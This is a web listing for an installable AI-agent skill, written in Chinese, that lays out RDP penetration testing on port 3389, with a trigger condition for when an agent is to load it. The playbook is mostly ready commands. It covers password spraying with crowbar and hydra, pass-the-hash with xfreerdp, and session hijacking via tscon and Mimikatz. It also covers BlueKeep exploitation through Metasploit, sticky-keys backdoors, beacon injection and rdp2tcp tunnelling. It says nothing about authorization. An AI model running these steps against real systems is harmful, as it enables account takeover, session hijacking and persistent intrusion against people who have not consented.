rdp-pentesting
$
npx mdskill add wgpsec/AboutSecurity/rdp-pentestingExecute RDP penetration tests on exposed 3389 ports.
- Automates credential cracking and session hijacking.
- Integrates Nmap scripts and RDP-specific exploit tools.
- Decides actions based on NLA status and vulnerability presence.
- Delivers detailed attack paths and exploit commands.
SKILL.md
.github/skills/rdp-pentestingView on GitHub ↗
---
name: rdp-pentesting
description: |
RDP 服务(3389 端口)渗透测试方法论。涵盖 RDP 服务发现、凭据爆破、BlueKeep 等已知漏洞、RDP 会话劫持、NLA 绕过、RDP 中间人攻击。
当 Agent 扫描发现 3389 端口开放、需要测试 RDP 认证强度、枚举域信息、或进行会话劫持时,触发此 Skill。
metadata:
tags:
- rdp
- 远程桌面
- 3389端口
- bluekeep
- 会话劫持
category: exploit/network-service
---
# RDP 渗透测试方法论 (3389)
## 深入参考
- RDP 枚举、会话劫持、Shadow 攻击、隧道、工具详细用法 -> 读 [references/rdp-techniques.md](references/rdp-techniques.md)
---
## 整体决策树
```
发现 3389 端口开放
├─ Phase 1: 服务发现
│ ├─ Nmap 脚本扫描 -> 获取加密方式 / NLA 状态 / NTLM 信息
│ ├─ 版本探测 -> 对照已知漏洞 (Phase 4)
│ └─ NLA 是否启用?
│ ├─ 未启用 -> 可截图 / 匿名探测
│ └─ 已启用 -> 需凭据才能交互
├─ Phase 2: 凭据攻击
│ ├─ 密码喷洒 (crowbar / hydra / nxc) -- 注意锁定风险
│ ├─ 已知凭据验证 (rdp_check / xfreerdp)
│ └─ Pass-the-Hash (xfreerdp /pth:)
├─ Phase 3: 会话劫持
│ ├─ 需要 SYSTEM 权限
│ ├─ query user -> 枚举活跃会话
│ ├─ tscon <ID> /dest:<SESSION> -> 劫持会话
│ └─ Mimikatz ts::remote -> 替代方案
├─ Phase 4: 已知漏洞
│ ├─ CVE-2019-0708 (BlueKeep) — Windows 7 / 2008 R2 pre-auth RCE
│ ├─ CVE-2012-0002 (MS12-020) — RDP DoS / 潜在 RCE
│ └─ NLA 绕过场景 -> 降级攻击
└─ Phase 5: 后渗透技巧
├─ RDP Shadow (远程控制其他用户会话)
├─ Sticky Keys / Utilman 后门
├─ RDP 进程注入 (高权限用户 RDP 时注入 beacon)
└─ RDP 虚拟通道隧道 (rdp2tcp)
```
---
## Phase 1: 服务发现
### 1.1 Nmap 枚举
```bash
# 综合扫描: 加密方式 + DoS 漏洞 + NTLM 信息
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
```
### 1.2 安全层 / NLA 检查
```bash
# 安全层与加密信息
nmap --script rdp-enum-encryption -p 3389 <IP>
# NXC 快速认证检查 (同时报告 NLA 是否要求)
nxc rdp <IP> -u <user> -p <password>
# NLA 未启用时可截图 (无需认证)
nxc rdp <IP> --nla-screenshot
# 已认证截图
nxc rdp <IP> -u <user> -p <password> --screenshot
```
**关键判断**:
- NLA 未启用 -> 可进行未认证信息收集 / BlueKeep 利用更容易
- NTLM 信息泄露 -> 获取 Windows 版本、域名、主机名
---
## Phase 2: 凭据攻击
### 2.1 密码喷洒
> **警告**: RDP 爆破可能导致账户锁定,务必低速、少量尝试。
```bash
# crowbar — 专为 RDP 设计的爆破工具
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra — 通用爆破
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```
### 2.2 已知凭据验证
```bash
# impacket rdp_check — 验证凭据有效性
rdp_check <domain>/<name>:<password>@<IP>
# RDP 连接
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
# Pass-the-Hash
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP>
```
### 2.3 凭据攻击决策树
```
凭据获取路径
├─ 有用户名列表
│ ├─ 密码喷洒 (低速,单密码多用户)
│ └─ 常见弱密码尝试: P@ssw0rd, <Company>123, <Season><Year>
├─ 有 NTLM 哈希
│ └─ xfreerdp /pth: 直接 Pass-the-Hash
├─ 有域凭据
│ └─ rdp_check 批量验证
└─ 凭据有效
├─ 进入 Phase 3 (会话劫持) — 如已有 SYSTEM 权限
└─ 进入 Phase 5 (后渗透)
```
---
## Phase 3: 会话劫持
需要 **SYSTEM 权限**,可访问任何已打开的 RDP 会话而无需知道密码。
### 3.1 会话枚举与劫持
```bash
# 枚举当前活跃会话
query user
# 劫持指定会话 (会踢掉原用户)
tscon <ID> /dest:<SESSIONNAME>
```
### 3.2 Mimikatz 方式
```bash
# Mimikatz 会话操作
ts::sessions # 列出会话
ts::remote /id:2 # 连接到会话
```
### 3.3 会话劫持决策树
```
有 SYSTEM 权限
├─ query user 发现活跃 RDP 会话
│ ├─ 管理员会话 -> tscon 劫持 -> 获取管理员桌面
│ ├─ 普通用户会话 -> 检查其桌面 (记事本密码、其他 RDP 会话)
│ └─ Disconnected 会话 -> 同样可劫持
└─ 无活跃会话
└─ 等待用户登录 / 转向其他攻击
```
---
## Phase 4: 已知漏洞
### 4.1 漏洞检测决策树
```
RDP 版本/系统已知
├─ Windows 7 / 2008 R2 (未打补丁)
│ └─ CVE-2019-0708 (BlueKeep) — pre-auth RCE
│ ├─ 检测: nmap --script rdp-vuln-ms12-020 -p 3389 <IP>
│ ├─ Metasploit: exploit/windows/rdp/cve_2019_0708_bluekeep_rce
│ └─ 前提: NLA 未启用时利用更可靠
├─ Windows XP / 2003 / Vista / 7 / 2008
│ └─ CVE-2012-0002 (MS12-020) — RDP DoS / 潜在 RCE
│ └─ 检测: nmap --script rdp-vuln-ms12-020 -p 3389 <IP>
└─ NLA 降级攻击
├─ 中间人场景下强制客户端降级到旧安全层
└─ 截获凭据 (Seth / rdp-sec-check)
```
---
## Phase 5: 后渗透技巧
### 5.1 RDP Shadow (远程控制)
如果启用了远程桌面服务 Shadow 功能,可以查看或控制其他用户的活跃会话。
```bash
# 列出远程主机会话
qwinsta /server:<IP>
# Shadow 指定会话 (需同意时)
mstsc /v:<IP> /shadow:<SESSION_ID> /control
# 无需同意 (策略允许时)
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt
# 检查 Shadow 策略
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
```
### 5.2 Sticky Keys / Utilman 后门
```bash
# 替换 sethc.exe 或 utilman.exe 为 cmd.exe
# 在 RDP 登录界面触发快捷键即获得 SYSTEM cmd
# 搜索已被后门化的 RDP
# https://github.com/linuz/Sticky-Keys-Slayer
```
### 5.3 RDP 进程注入
当高权限用户通过 RDP 登录你已控制的主机时,可将 beacon 注入其 RDP 会话进程,冒充该用户身份。
### 5.4 RDP 虚拟通道隧道
RDP 支持虚拟通道,可被滥用进行数据隧道 / 端口转发。
```bash
# rdp2tcp: 通过 RDP 虚拟通道复用 TCP 转发
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp
```
### 5.5 添加用户到 RDP 组
```bash
net localgroup "Remote Desktop Users" UserLoginName /add
```
---
## 自动化工具
| 工具 | 用途 |
|------|------|
| [AutoRDPwn](https://github.com/JoelGMSec/AutoRDPwn) | PowerShell 后渗透框架,自动化 Shadow 攻击 |
| [EvilRDP](https://github.com/skelsec/evilrdp) | 命令行控制鼠标/键盘、剪贴板、SOCKS 代理、无文件命令执行 |
| [SharpRDP](https://github.com/0xthirteen/SharpRDP) | 无图形界面 RDP 命令执行 |
More from wgpsec/AboutSecurity
- 401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
- ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
- ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
- ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
- ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
- ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
- adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
- adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
- agent-security|
- ai-data-security|